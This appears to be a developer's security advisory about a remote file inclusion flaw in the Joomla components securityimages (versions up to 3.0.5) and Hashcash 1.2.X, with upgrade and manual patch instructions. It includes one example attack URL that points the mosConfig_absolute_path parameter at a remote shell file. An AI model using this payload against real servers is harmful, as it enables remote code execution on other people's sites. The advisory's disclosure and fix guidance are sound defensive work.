The webmaster of janwiersma.com sent me an email today at 6:12AM , his server was hacked because of a bug in securityimages. This bug allows a remote atacker to execute commands via remote forceful include and execute function on your server and affect ALL version of securityimages <= 3.0.5 Here are all files which put your server at risk: client.php, configinsert.php, lang.php, server.php Example of attack: http://web/components/com_securityimages/ configinsert.php?mosConfig_absolute_path=http://shell.txt from http://securityreason.com/exploitalert/892 Secunia has also a report on it: http://secunia.com/product/11186/ | |
| In fact I forget to use that line in these files: defined('_VALID_MOS') or die('Direct Access to this location is not allowed.'); This avoid any requests to access directly this file. - upgrade to 3.0.6 (download at Joomla Forge or in my download sections) OR - patch the faulty files by hand (add defined('_VALID_MOS') or die('Direct Access to this location is not allowed.'); at the beginning of each file) Please also contact all Your friends which are using securityimages! And for my other components? Hashcash 1.2.X is also affected: http://secunia.com/product/11046/ and my patch is avalaible! - upgrade to 1.2.2 (download at Joomla Forge or in my download sections) OR - patch the faulty files by hand (add defined('_VALID_MOS') or die('Direct Access to this location is not allowed.'); at the beginning of each file) JoomlaCloud is NOT affected | |
